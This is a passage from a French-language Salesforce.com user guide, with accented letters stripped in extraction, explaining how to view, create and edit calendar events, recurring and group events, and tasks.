Nouvel vnement. Vous pouvez aussi cliquer sur l'icne Ajouter un vnement ( ) correspondant la journe concerne.
Remarque: Les administrateurs peuvent activer un paramtre pour les vues de calendrier multi-utilisateur qui affiche
les dtails de l'vnement l'cran. Pour plus d'informations, consultez la rubrique Afficher les dtails de l'vnement
sur la vue du calendrier multi-utilisateur la page 678.
La modification par glisser-dplacer n'est pas disponible pour les vues de calendrier multi-utilisateur.

Les vues de calendrier multi-utilisateur fonctionnent diffremment dans le portail partenaire ; par exemple, des partenaires ne
peuvent afficher que les informations de calendrier destines aux utilisateurs de leur propre entreprise et leur responsable de
canaux. Pour de plus amples informations, tlchargez l'Aide l'utilisateur du portail partenaire.

Voir aussi :
Affichage de votre agenda
Octroi de l'accs votre calendrier
Cration d'vnements de groupe

Activits

Guide de l'utilisateur | Affichage des dtails d'vnement | 1093

Affichage des dtails d'vnement

Disponible avec : Toutes les ditions
vnements de groupe non disponibles avec : Personal Edition

Pour afficher les dtails d'un vnement :

Accdez la section Calendrier de l'onglet Accueil et survolez ou cliquez sur la ligne d'objet d'un vnement.
partir d'une vue du calendrier, vous pouvez survoler un vnement pour en afficher les dtails dans le plan des dtails
d'vnement.
Vous pouvez galement ouvrir la page de dtails d'un enregistrement associ et cliquer sur la ligne d'objet de l'vnement
dans les listes associes Activits ouvertes ou Historique des activits.

Pour afficher tous les vnements planifis un jour, une semaine ou un mois spcifique, utilisez les icnes du calendrier pour
naviguer entre les diffrentes vues.
Affichage des dtails d'vnement de groupe
Pour les vnements de groupe, la page de dtails indique tous les utilisateurs invits, et prcise s'ils ont accept ou dclin
l'vnement.
Vous pouvez cloner un vnement de groupe partir de la page de dtails d'vnement de groupe. Vous pouvez rapidement
crer un autre vnement de groupe avec les mmes invits. Cependant, vous ne pouvez pas cloner les vnements standard
ou rcurrents.
Affichage des dtails d'vnement rcurrent
L'icne de rcurrence ( ) identifie les vnements qui font partie d'une srie rcurrente. Pour afficher les dtails de l'occurrence
d'vnement individuel, slectionnez le sous-onglet Afficher l'vnement (situ au-dessus des dtails de la tche). Pour afficher
les dtails de la srie d'vnements complte, slectionnez l'onglet Afficher la srie.

Voir aussi :
Cration d'vnements
Modification des vnements

Activits

Guide de l'utilisateur | Cration d'vnements | 1094

Cration d'vnements
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des vnements :

Modifier les vnements

1. Commencez la cration d'un vnement en effectuant l'une des oprations suivantes :

Dans la liste droulante Crer de la barre latrale, cliquez sur vnement.

Dans la section Calendrier de l'onglet Accueil, cliquez sur Nouvel vnement.
Dans la liste associe Activits en cours d'un enregistrement associ, cliquez sur Nouvel vnement.
Dans la vue journalire du calendrier, cliquez sur une heure afin de crer un vnement cette heure. Vous pouvez
galement cliquer deux fois sur une priode pour entrer les informations de l'vnement dans un plan interactif. Notez
que votre administrateur contrle l'accs la cration d'vnements en cliquant. Voir Activer Cliquer pour crer des
vnements dans les vues de calendrier la page 364.
Dans la vue hebdomadaire du calendrier, cliquez sur l'icne Ajouter un vnement ( ) en regard d'une date pour crer
un vnement cette date. Vous pouvez galement cliquer deux fois sur une priode pour entrer les informations de
l'vnement dans un plan interactif. Notez que votre administrateur contrle l'accs la cration d'vnements en
cliquant. Voir Activer Cliquer pour crer des vnements dans les vues de calendrier la page 364.
Dans la vue mensuelle du calendrier, cliquez sur l'icne Ajouter un vnement ( ) en regard d'une date pour crer un
vnement cette date.
Dans un calendrier multi-utilisateur, slectionnez les utilisateurs inviter, puis cliquez sur Nouvel vnement.

2. Entrez les dtails de l'vnement tels que son sujet, sa date et son heure de dbut, ainsi que sa date et son heure de fin.
Pour attribuer l'vnement un utilisateur partenaire, slectionnez Utilisateur partenaire dans la liste droulante Attribu
.
Remarque: Si des vnements jours multiples sont activs pour votre entreprise, vous pouvez crer des vnements
d'une dure pouvant atteindre 14 jours.
Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour contrler le
contenu du champ Description. Notez que le bouton Vrifier l'orthographe doit tre activ sparment pour les
vnements et les tches la page 363. Le correcteur orthographique ne prend pas en charge toutes les langues prises en
charge par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le
Coren ou le Chinois, ne sont pas prises en charge.
Vous pouvez aussi slectionner Crer une srie d'vnements rcurrents pour spcifier la frquence de
rptition de l'vnement. Pour plus d'informations, reportez-vous Cration d'vnements rcurrents la page 1095.
Remarque: Chaque occurrence d'une srie d'vnements rcurrents ne doit pas durer plus de 24 heures. Une fois
la srie d'vnements rcurrents cre, vous pouvez prolonger la dure des occurrences individuelles au-del de 24
heures, si les vnements de plusieurs jours sont activs. Pour activer les vnements sur plusieurs journes,
reportez-vous Personnalisation des paramtres d'activit la page 677.

Activits

Guide de l'utilisateur | Cration d'vnements | 1095

3. Si vous le souhaitez, vous pouvez ajouter un rappel l'vnement en slectionnant Rappel et en dterminant quelle
chance, avant l'vnement, vous souhaitez tre prvenu.
4. Vous pouvez aussi cliquer sur Ajouter des invits pour faire de l'vnement un vnement de groupe auquel des utilisateurs,
des contacts, des pistes ou des ressources sont invits. Pour plus d'informations, reportez-vous Cration d'vnements
de groupe la page 1096.
5. Cliquez sur Enregistrer. Vous pouvez aussi cliquer sur Enregistrer et nouvelle tche pour enregistrer l'vnement et crer
une tche, ou sur Enregistrer et nouvel vnement pour enregistrer et crer un vnement supplmentaire.

Voir aussi :
Modification des vnements
Cration d'un rendez-vous Outlook pour un vnement

Cration d'vnements rcurrents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des vnements rcurrents :

Modifier les vnements

Un vnement rcurrent est un vnement qui se rpte par srie, par exemple une runion hebdomadaire du personnel qui
se droule chaque lundi 11 h. Cette rubrique dcrit la manire de remplir la section Rcurrence dans la page Nouvel vnement.
Pour obtenir des instructions gnrales relatives la cration d'un vnement, voir Cration dvnements la page 1094.
Remarque: Chaque occurrence d'une srie d'vnements rcurrents ne peut pas dpasser 24 heures. Une fois la srie
d'vnements rcurrents cre, il est possible de pousser les occurrences individuelles au-del de 24 heures, condition
que les vnements sur plusieurs journes soient activs. Pour activer les vnements sur plusieurs journes, reportez-vous
Personnalisation des paramtres d'activit la page 677.
1. Cochez la case Crer une srie d'vnements rcurrents.
2. Slectionnez la frquence de rcurrence.
Remarque: Selon le type de srie cr, le nombre maximal d'occurrences est dfini comme suit :

Quotidien : 100
Hebdomadaire : 53
Mensuel : 60
Annuel : 10

3. Dfinissez les dates de dbut et de fin. Cliquez sur Calculer la date de fin maximale pour dfinir automatiquement la date
de fin autorise en fonction de la frquence que vous avez slectionne.

Activits

Guide de l'utilisateur | Cration d'vnements | 1096

4. Vous pouvez galement dfinir un rappel dans l'vnement rcurrent. Le rappel s'applique chaque occurrence dans la
srie d'vnements.

Voir aussi :
Modification des vnements rcurrents
Cration d'vnements de groupe
Affichage de votre agenda

Cration d'vnements de groupe

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer des vnements de groupe :

Modifier les vnements

Un vnement de groupe est une runion laquelle vous pouvez inviter des utilisateurs, des contacts, des pistes ou des ressources.
Les vnements de groupe sont marqus par l'icne d'vnement de groupe ( ). Ce sujet dcrit comment remplir la section
Inviter d'autres personnes sur la page Nouvel vnement. Pour obtenir des instructions gnrales sur la cration d'un vnement,
consultez la rubrique Cration d'vnements la page 1094.
1. Cliquez sur Ajouter des invits dans la section Inviter d'autres utilisateurs.
2. Dans la fentre contextuelle, recherchez des invits :
a. Slectionnez le type appropri d'invits partir de la liste droulante : utilisateurs, pistes, contacts ou ressources.
b. Entrez un nom ou une partie d'un nom dans le champ de saisie de texte.
c. Cliquez sur OK.
3. Dans la zone Rsultats de recherche, cochez la case en regard des personnes inviter, puis cliquez sur Insrer les lments
slectionns.
Pour ajouter des invits supplmentaires, effectuez une nouvelle recherche et slectionnez les personnes souhaites.
Remarque: Des vnements de groupe qui ne se produisent qu'une seule fois peuvent comporter un maximum de
1000 invits et ressources. Des vnements de groupe rcurrents peuvent comporter un maximum de 100 invits
et ressources.
Vous devez au moins disposer d'un accs en lecture aux contacts et pistes que vous invitez un vnement de
groupe. Vous devez disposer au moins de l'autorisation d'ajout d'vnements sur une ressource pour l'inviter un
vnement de groupe.
4. Cliquez sur Termin pour ajouter les personnes slectionnes l'vnement.
5. Passez en revue le calendrier de chaque invit et, au besoin, rglez la date et l'heure de l'vnement.

Activits

Guide de l'utilisateur | Cration d'vnements | 1097

La disponibilit des invits est identifie par une couleur sur leurs calendriers : le bleu et le violet correspondent respectivement
aux heures occupes et aux heures hors du bureau. Si un invit a plusieurs activits programmes pour une heure particulire,
tous ces vnements seront affichs sur le calendrier. Vous pouvez survoler un vnement du calendrier pour afficher les
dtails de l'vnement.
Remarque: Les vnements marqus comme tant libres ne sont pas affichs.

6. Cliquez sur Enregistrer et Envoyer une invitation.

Les pistes, les contacts et les comptes personnels invits reoivent un e-mail contenant un lien vers une page Web sur
laquelle ils acceptent ou refusent l'invitation l'vnement ou la srie d'vnements. Vous recevez galement un rcapitulatif
de l'vnement par e-mail. Si une ressource invite est disponible au moment indiqu, elle accepte systmatiquement
l'invitation. Les ressources ne peuvent pas tre rserves deux fois.

Voir aussi :
Modification des vnements
Cration d'vnements rcurrents
Affichage de votre agenda

Cration d'un vnement dans un calendrier de ressources ou un

calendrier public
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer un vnement dans un calendrier de ressources ou Modifier les vnements
un calendrier public :

Ajouter des vnements aux calendriers publics

Pour ajouter un vnement un calendrier public :
1. Sur une vue de calendrier, cliquez sur [Modifier] pour accder au calendrier public appropri.
2. Choisissez l'heure et la date appropries du nouvel vnement :

Sur la vue du jour, cliquez sur une heure telle que 9h00 pour ajouter un vnement cette heure.
Sur la vue de la semaine ou du mois, cliquez sur l'icne Ajouter un vnement ( ) pour ajouter un vnement une
date particulire.

3. Entrez les dtails de l'vnement. Pour plus d'informations, reportez-vous Cration d'vnements la page 1094.
4. Cliquez sur Enregistrer. Vous pouvez aussi cliquer sur Enregistrer et nouvelle tche pour enregistrer l'vnement et
commencer immdiatement crer une nouvelle tche, ou sur Enregistrer et nouvel vnement pour enregistrer et
commencer crer un vnement supplmentaire.

Activits

Guide de l'utilisateur | Modification des vnements | 1098

Ajouter des vnements aux calendriers des ressources

Pour ajouter un vnement un calendrier de ressources, invitez la ressource l'vnement. Pour plus d'informations,
reportez-vous Cration d'vnements de groupe la page 1096.

Voir aussi :
Modification d'un vnement dans un calendrier de ressources ou un calendrier public
Gestion des calendriers publics et des calendriers de ressources
Affichage de votre agenda

Modification des vnements

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les vnements :

Modifier les vnements

1. Pour modifier un vnement, commencez de l'un des emplacements suivants :

Sur l'onglet Accueil, cliquez sur le sujet d'un vnement rpertori dans la section Calendrier, puis cliquez sur Modifier.
Vous pouvez galement survoler un vnement pour en afficher les dtails dans le plan des dtails d'vnement, puis
cliquer sur Modifier.
Dans une vue Calendrier, cliquez sur le sujet d'un vnement. Vous pouvez galement survoler un vnement pour en
afficher les dtails, puis cliquer sur Modifier.
Sur des vues quotidiennes et hebdomadaires du calendrier mono-utilisateur, vous pouvez :
-

Replanifier un rendez-vous en faisant glisser un lment de votre calendrier vers une heure diffrente. Pour obtenir
les meilleurs rsultats, placez le curseur de la souris sur la ligne d'objet de l'vnement avant de le faire glisser. Si
l'lment est un vnement rcurrent ( ), seule l'occurrence unique que vous faites glisser est modifie, pas la totalit
de la srie. Remarque : votre administrateur contrle l'accs la fonction de modification du calendrier par
glisser-dposer, consultezActiver la modification par glisser-dposer sur les vues de calendrier. La fonction de
modification par glisser-dposer n'est pas active pour les vnements se droulant sur plusieurs journes.
Crez un rendez-vous en cliquant deux fois sur une priode et en entrant les informations dans un plan interactif.
Notez que votre administrateur contrle l'accs la cration d'vnements en cliquant. Voir Activer Cliquer pour
crer des vnements dans les vues de calendrier la page 364.

Dans les listes associes Activits en cours ou Historique des activits d'un enregistrement associ, cliquez sur Modifier
en regard de l'vnement appropri.
Dans une vue de liste d'activits, cliquez sur Modifier en regard de l'vnement appropri.

2. Modifiez les champs de l'vnement selon vos besoins.

Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour contrler le
contenu du champ Description. Notez que le bouton Vrifier l'orthographe doit tre activ sparment pour les
vnements et les tches la page 363. Le correcteur orthographique ne prend pas en charge toutes les langues prises en

Activits

Guide de l'utilisateur | Modification des vnements | 1099

charge par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le
Coren ou le Chinois, ne sont pas prises en charge.
3. Vous pouvez ventuellement dfinir un rappel pour l'vnement en slectionnant Rappel et en dterminant quelle
chance, avant l'vnement, vous souhaitez tre prvenu.
4. Cliquez sur Enregistrer.
Remarque: Vrifiez les considrations suivantes quant qui peut modifier des vnements :

Le modle de partage du calendrier et le partage du calendrier personnel de votre entreprise dterminent l'autorisation
de modifier des vnements dans les calendriers des autres utilisateurs. Cependant, quels que soient les paramtres,
les responsables peuvent toujours modifier les vnements des personnes qui leur sont rattaches dans la hirarchie.
Les vnements privs ne peuvent tre modifis que par le responsable de l'vnement (l'utilisateur assign
l'vnement) et par les utilisateurs dots de l'autorisation Modifier toutes les donnes.

Voir aussi :
Modification des vnements de groupe
Modification des vnements rcurrents
Modification d'un vnement dans un calendrier de ressources ou un calendrier public
Cration d'vnements

Modification des vnements de groupe

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour modifier des vnements de groupe :

Modifier les vnements

Les vnements de groupe sont marqus par l'icne d'vnement de groupe ( ). Pour modifier les dtails d'un vnement de
groupe dont vous tes responsable :
1. Ouvrez la page de dtails d'un vnement de groupe et cliquez sur Modifier.
2. Modifiez les dtails et les invits de l'vnement selon vos besoins.
Dans la liste droulante Option de messagerie, choisissez si vous souhaitez envoyer un e-mail de mise jour tous
les utilisateurs invits, ou seulement ceux que vous avez ajouts ou supprims pendant les modifications.
3. Cliquez sur Enregistrer et Envoyer la mise jour pour enregistrer l'vnement et envoyer un e-mail de mise jour aux
invits. Vous pouvez galement cliquer sur Enregistrer pour enregistrer vos modifications sans envoyer d'e-mail. Toutes
les modifications seront refltes dans les calendriers des utilisateurs invits.

Activits

Guide de l'utilisateur | Modification des vnements | 1100

Remarque: Vous ne pouvez modifier un vnement de groupe que si vous tes le responsable de cet vnement. En
tant que responsable de l'vnement, vous n'tes pas averti par e-mail lorsqu'un utilisateur accepte ou refuse une
invitation un vnement.
Vous pouvez rattribuer un vnement de groupe un nouveau responsable moins que l'vnement ne fasse partie
d'une srie d'vnements rcurrents.

Voir aussi :
Modification des vnements rcurrents
Modification des vnements
Affichage des dtails d'vnement

Modification des vnements rcurrents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier des vnements rcurrents :

Modifier les vnements

Pour modifier les dtails d'un vnement qui fait partie d'une srie d'vnements :
1. Slectionnez un vnement dans le calendrier situ sur l'onglet Accueil ou dans la liste associe Activits en cours ou
Historique des activits d'un enregistrement, puis cliquez sur le sous-onglet Afficher l'vnement. Vous pouvez galement
positionner la souris sur l'vnement dans un calendrier et cliquer sur Modifier.
2. Cliquez sur Modifier les vnements.
3. Modifiez les champs de l'vnement.
4. Dans le cas d'un vnement de groupe, choisissez si vous souhaitez envoyer un e-mail de mise jour tous les utilisateurs
invits, ou uniquement ceux que vous avez ajouts ou supprims lors de la modification. Cliquez sur Enregistrer et
Envoyer la mise jour pour enregistrer l'vnement et envoyer un e-mail de mise jour, ou cliquez simplement sur
Enregistrer pour enregistrer vos modifications sans envoyer d'e-mail. Toutes les modifications seront refltes dans le
calendrier des utilisateurs qui ont accept l'vnement.
Remarque: Les modifications apportes un vnement futur faisant partie d'une srie d'vnements rcurrents
sont remplaces en cas de modification de la frquence de la srie.

Pour modifier les dtails d'une srie d'vnements :

1. Slectionnez un vnement dans le calendrier situ sur l'onglet Accueil ou dans la liste associe Activits en cours ou
Historique des activits d'un enregistrement.
2. Slectionnez le sous-onglet Afficher la srie, puis cliquez sur le bouton Modifier la srie. Vous pouvez galement cliquer
sur le lien Modifier la srie dans la section Rcurrence de la page de dtails.
3. Modifiez les champs de la srie d'vnements. Les modifications apportes ne concernent pas les vnements de la srie
qui ont dj eu lieu.

Activits

Guide de l'utilisateur | Modification des vnements | 1101

ATTENTION: Si vous modifiez les dtails de la section rcurrence de la srie, tous les vnements futurs qui
faisaient partie de cette srie sont supprims et de nouveaux vnements sont crs. En outre, toutes les modifications
apportes aux diffrents vnements qui n'ont pas encore eu lieu, y compris les rponses des invits, sont perdues.
4. Si la srie inclut des invits que vous souhaitez tous informer des modifications, cliquez sur Enregistrer et Envoyer la mise
jour. Si vous ne souhaitez pas envoyer de mises jour tous les invits, cliquez sur Enregistrer.
Remarque: Si vous avez modifi l'heure ou la frquence des vnements de la srie et que vous n'envoyez pas de
mises jour, le statut de la rponse (accept, refus ou sans rponse) de chaque invit reste intact. Si l'invit n'a pas
refus l'invitation d'origine, les vnements sont ajouts son calendrier. Si vous repoussez la date de fin sans
apporter d'autres modifications, les rponses aux vnements existantes ne changent pas, sauf si vous envoyez des
mises jour.

Voir aussi :
Cration d'vnements rcurrents
Modification des vnements de groupe
Modification des vnements

Modification d'un vnement dans un calendrier de ressources ou un

calendrier public
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier un vnement dans un calendrier de ressources Modifier les vnements
ou un calendrier public :

Remarque: L'autorisation de modifier des vnements dans les calendriers publics et les calendriers de ressources est
dtermine par le modle de partage du calendrier.
1. Dans une vue Calendrier, cliquez sur [Modifier] pour passer au calendrier public dsir.
2. Pour modifier un vnement, procdez de l'un des emplacements suivants :

Sur l'onglet Accueil, cliquez sur le sujet d'un vnement rpertori dans la section Calendrier, puis cliquez sur Modifier.
Vous pouvez galement survoler un vnement pour en afficher les dtails dans le plan des dtails d'vnement, puis
cliquer sur Modifier.
Dans une vue Calendrier, cliquez sur l'objet d'un vnement. Vous pouvez galement survoler un vnement pour en
afficher les dtails, puis cliquer sur Modifier.
Sur des vues quotidiennes et hebdomadaires du calendrier mono-utilisateur, vous pouvez :
-

Replanifier un rendez-vous en faisant glisser un lment de votre calendrier vers une heure diffrente. Pour obtenir
les meilleurs rsultats, placez le curseur de la souris sur la ligne d'objet de l'vnement avant de le faire glisser. Si

Activits

Guide de l'utilisateur | Cration d'un rendez-vous Outlook pour un vnement | 1102

l'lment est un vnement rcurrent ( ), seule l'occurrence unique que vous faites glisser est modifie, pas la totalit
de la srie. Remarque : votre administrateur contrle l'accs la fonction de modification du calendrier par
glisser-dposer, consultezActiver la modification par glisser-dposer sur les vues de calendrier. La fonction de
modification par glisser-dposer n'est pas active pour les vnements se droulant sur plusieurs journes.
Crez un rendez-vous en cliquant deux fois sur une priode et en entrant les informations dans un plan interactif.
Notez que votre administrateur contrle l'accs la cration d'vnements en cliquant. Voir Activer Cliquer pour
crer des vnements dans les vues de calendrier la page 364.

Dans la liste des Activits ouvertes ou de l'Historique des activits d'un enregistrement associ, cliquez sur Modifier
en regard de l'vnement appropri.
Dans une vue Liste des activits, cliquez sur Modifier en regard de l'vnement appropri.

3. Modifiez les champs de l'vnement selon vos besoins.

4. Cliquez sur Enregistrer.

Voir aussi :
Gestion des calendriers publics et des calendriers de ressources
Cration d'un vnement dans un calendrier de ressources ou un calendrier public
Modification des vnements de groupe
Modification des vnements

Cration d'un rendez-vous Outlook pour un vnement

Disponible avec : Toutes les ditions

Pour ajouter un vnement Outlook :

1. Slectionnez un vnement dans le calendrier situ sur l'onglet Accueil ou dans la liste associe Activits en cours ou
Historique des activits d'un enregistrement.
2. Cliquez sur Ajouter Outlook.
3. Cliquez sur En cours pour l'ajouter immdiatement Outlook ou enregistrez-le sur l'ordinateur en tant que fichier .vcs.
Si vous l'enregistrez en tant que fichier .vcs, importez le fichier avec Outlook.
Le rendez-vous Outlook est ajout la catgorie salesforce.com .

Voir aussi :
Cration d'vnements
Utilisation de Connect pour Outlook

Activits

Guide de l'utilisateur | Utilisation de la planification par glisser-dplacer | 1103

Utilisation de la planification par glisser-dplacer

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour activer la planification par glisser-dplacer :

Personnaliser l'application

Pour crer des vnements :

Modifier les vnements

La planification par glisser-dplacer permet de crer des vnements associs des enregistrements en faisant glisser les
enregistrements des vues de liste dans les vues de calendrier hebdomadaires et en entrant les informations de l'vnement dans
un plan. Cela permet de planifier des vnements sans quitter la page de vue de liste. La planification par glisser-dplacer est
disponible dans les vues de liste des comptes, des contacts et des pistes.
Une fois la planification par glisser-dposer configure par l'administrateur, vous pouvez cliquer sur le lien Ouvrir le
calendrier en bas d'une vue de liste pour afficher une vue hebdomadaire d'un calendrier sous la liste. Ensuite, vous pouvez
faire glisser un enregistrement de la liste vers une priode dans le calendrier pour crer rapidement un vnement associ
l'enregistrement. Lorsque le calendrier est ouvert, vous pouvez :

Slectionner le lien de changement pour passer un calendrier auquel vous avez accs.
Cliquer sur les icnes Semaine prcdente ( ) et Semaine suivante ( ) pour afficher les semaines prcdentes et suivantes
dans le calendrier.

Cliquer sur l'icne du slecteur de date ( ) pour choisir une date d'affichage du calendrier.
Slectionner le lien Cette semaine pour afficher la semaine en cours dans le calendrier.
Cocher la case Afficher les week-ends pour afficher les week-ends dans le calendrier.

Cliquer sur l'icne de fermeture ( ) pour fermer le calendrier tout moment. Vous pouvez galement cliquer sur le lien
Fermer le calendrier en bas de la vue de liste pour fermer le calendrier.
Faire glisser la barre entre la vue de liste et le calendrier pour changer la hauteur de la vue ou du calendrier.

Configuration de la planification par glisser-dplacer

Les utilisateurs qui disposent de l'autorisation de personnalisation peuvent configurer la planification par glisser-dplacer. Pour
configurer la planification par glisser-dplacer :
1. Cliquez sur Configuration Personnalisation Interface utilisateur.
2. Cochez la case ActiverPlanification par glisser-dplacer dans les vues de liste.
Pour pouvoir cocher la case ActiverPlanification par glisser-dplacer dans les vues de liste, vous
devez cocher les cases Activer la modification par glisser-dplacer dans les vues de calendrier
et Activer la cration d'vnements en cliquant dans les vues de calendrier. Pour plus
d'informations, reportez-vous Personnalisation des paramtres de l'interface utilisateur la page 361.
3. Cliquez sur Enregistrer.
4. Vus pouvez galement dfinir des prsentations de pages miniatures pour inclure les champs que doivent mettre jour les
utilisateurs dans le plan de modification d'vnement :
a. Cliquez sur Configuration Personnalisation Activits Prsentations de pages d'vnements.
b. Slectionnez un nom de prsentation de pages d'vnements.

Activits

Guide de l'utilisateur | Affichage des tches | 1104

c. Cliquez sur Prsentation de page min.

d. Slectionnez les champs afficher dans le plan de modification d'vnement.
Pour plus d'informations, reportez-vous Dfinition des prsentations de page miniatures la page 1242.
e. Cliquez sur Enregistrer.
Conseils sur la planification par glisser-dplacer
Tenez compte des points suivants relatifs la planification par glisser-dplacer :

Le lien Ouvrir le caldendrier s'affiche uniquement en bas des vues de liste des comptes, des contacts et des pistes.
La planification par glisser-dplacer n'est pas disponible pour l'onglet Console, les vnements de groupe, les vnements
rcurrents et le mode d'accessibilit ou Connect Offline.
L'affichage des vues de liste qui contiennent la planification par glisser-dposer peut tre lgrement plus long que la
normale.
Nous recommandons d'ajouter le champ vnement sur la journe la prsentation de page miniature, car ce
champ n'est pas ajout automatiquement aux prsentations de pages miniatures d'vnements. Le champ vnement
sur la journe permet aux utilisateurs d'indiquer si un vnement dure toute une journe.
La planification par glisser-dplacer inclut des listes tendues. Toutefois, il est inutile d'activer les listes tendues pour que
la planification par glisser-dplacer fonctionne. Pour plus d'informations, reportez-vous Utilisation des listes tendues
la page 1542.
Lorsque vous faites glisser la barre entre la liste et le calendrier pour redimensionner la liste ou le calendrier, la taille est
enregistre automatiquement pour toutes les vues dans lesquelles vous utilisez la planification par glisser-dplacer. Vous
pouvez redimensionner la liste et le calendrier tout moment.

Voir aussi :
Cration de vues Listes personnalises

Affichage des tches

Disponible avec : Toutes les ditions

Les tches vous permettent de suivre les actions prcises que vous envisagez de raliser ou que vous avez ralises, comme les
appels tlphoniques ou l'envoi d'e-mails. Pour afficher les dtails d'une tche, cliquez sur le sujet de la tche depuis l'un des
emplacements suivants :

La section Mes tches de l'onglet Accueil

La vue journalire du calendrier
Une vue de liste d'activits
La liste lie aux activits en cours sur un enregistrement associ
La liste d'historique des activits sur un enregistrement associ

L'icne de rcurrence ( ) identifie les tches qui font partie d'une srie rcurrente. Pour afficher les dtails de l'occurrence de
tche individuelle, slectionnez le sous-onglet Afficher la tche (situ au-dessus des dtails de la tche). Pour afficher les dtails
de la srie de tches complte, slectionnez l'onglet Afficher la srie.

Activits

Guide de l'utilisateur | Cration de tches | 1105

Si votre organisation a activ la fonction E-mail vers requte ou E-mail vers requte la demande, certaines tches peuvent
tre associes des e-mails E-mail vers requte ou E-mail vers requte la demande. Cliquez sur le lien situ en haut de la
tche pour afficher le message associ. Pour plus d'informations, reportez-vous Utilisation des e-mails de requte la page
1218.

Voir aussi :
Cration de tches
Modification des tches
Utilisation de votre calendrier et de vos tches sur la page d'accueil

Cration de tches
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des tches :

Modifier les tches

Les tches vous permettent de suivre les actions prcises que vous envisagez de raliser ou que vous avez ralises, comme les
appels tlphoniques ou l'envoi d'e-mails.
1. Pour crer une tche, procdez comme suit :

Cliquez sur Nouveau dans la section Mes tches de l'onglet Accueil

Cliquez sur Tche dans la liste droulante Crer du menu latral
Dans la liste associe Activits en cours d'un enregistrement associ, cliquez sur Nouvelle tche.

Vous pouvez galement crer des tches depuis d'autres emplacements dans Salesforce.com.
2. Entrez les dtails de la tche :

Attribu : responsable attribu une tche. Par dfaut, la tche est attribue au crateur. Pour attribuer une tche

un autre utilisateur, saisissez son nom d'utilisateur ou cliquez sur l'icne de recherche pour le slectionner. Ce champ
n'est pas disponible dans Personal Edition. Pour attribuer des copies indpendantes d'une nouvelle tche plusieurs
utilisateurs, reportez-vous Cration de tches de groupe la page 1107.
Objet : objet ou courte description de la tche, par exemple Envoyer par e-mail un devis au client. Vous pouvez saisir
un objet ou le slectionner dans une liste de d'objets prcdemment dfinis.
chance (facultatif ) : date laquelle la tche doit tre termine. Vous pouvez saisir une date ou la slectionner dans
le calendrier qui s'affiche lorsque vous positionnez le curseur dans le champ.
Commentaires (facultatif ) : note textuelle qui dcrit la tche. Ce champ peut contenir jusqu' 32 Ko de donnes.
Associ (facultatif ) : enregistrement auquel la tche est associe, tel qu'un compte ou une opportunit. Ce champ
n'est pas disponible lorsque vous associez la tche une piste au lieu d'un contact.
Nom (facultatif ) : contact ou piste associ la tche. Vous pouvez saisir le nom de la personne ou utilisez l'icne de
recherche pour slectionner son nom.

Activits

Guide de l'utilisateur | Cration de tches | 1106

3. Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour contrler le
contenu du champ Commentaires. Notez que le bouton Vrifier l'orthographe doit tre activ sparment pour les
vnements et les tches la page 363. Le correcteur orthographique ne prend pas en charge toutes les langues prises en
charge par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le
Coren ou le Chinois, ne sont pas prises en charge.
4. Spcifier le statut et la priorit de la tche.
5. Activez la case Envoyer une notification par e-mail pour envoyer une notification par e-mail au bnficiaire
de la tche lorsque vous l'enregistrez. Pour enregistrer l'tat actuel de la case comme votre rglage personnel par dfaut,
slectionnez Choisir comme paramtre par dfaut.
6. Pour crer une tche rcurrente :
a. Cochez la case Crer une srie de tches rcurrentes.
Le champ chance est dsactiv car les tches rcurrentes ne comportent pas toutes la mme date.
b. Slectionnez la frquence de rcurrence.
Remarque: Selon le type de srie cr, le nombre maximal d'occurrences est dfini comme suit :

Quotidien : 100
Hebdomadaire : 53
Mensuel : 60
Annuel : 10

c. Dfinissez les dates de dbut et de fin. Cliquez sur Calculer la date de fin maximale pour dfinir automatiquement la
date de fin autorise en fonction de la frquence que vous avez slectionne.
7. Vous pouvez galement dfinir un rappel dans la tche.
Si vous crez une tche rcurrente, le rappel s'applique chaque occurrence de la srie de tches.
8. Cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer et nouvelle tche pour enregistrer la tche et en
crer une autre, ou sur Enregistrer et nouvel vnement pour enregistrer la tche et crer un vnement.

Voir aussi :
Utilisation de votre calendrier et de vos tches sur la page d'accueil
Utilisation de la liste associe des activits en cours
Affichage des tches
Modification des tches
Dfinition de rappels pour les activits

Activits

Guide de l'utilisateur | Cration de tches | 1107

Cration de tches de groupe

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des tches :

Modifier les tches

Vous pouvez crer une tche pour permettre jusqu' 100 utilisateurs de se voir attribuer une copie indpendante de la tche.
Par exemple, vous pouvez crer une tche Soumettre vos rapports sur les dpenses avec la date d'chance approprie et
l'attribuer une quipe de responsables de comptes.
Cette fonctionnalit est active par dfaut, mais votre administrateur peut choisir de la dsactiver pour votre entreprise. Pour
plus d'informations, reportez-vous Personnalisation des paramtres d'activit la page 677.
Pour crer une tche de groupe :
1. Dans la page Nouvelle tche, cliquez sur l'icne de recherche ( ) en regard du champ Attribu .
2. Dans la fentre de recherche, slectionnez l'onglet Utilisateurs multiples.
3. Les utilisateurs peuvent tre organiss en diffrentes catgories : groupes personnels, groupes publics, rles ou territoires.
Dans la liste droulante Recherche, slectionnez l'option approprie.
4. Entrez ventuellement un ou plusieurs caractres dans la zone de saisie et cliquez sur Rechercher pour lancer une recherche.
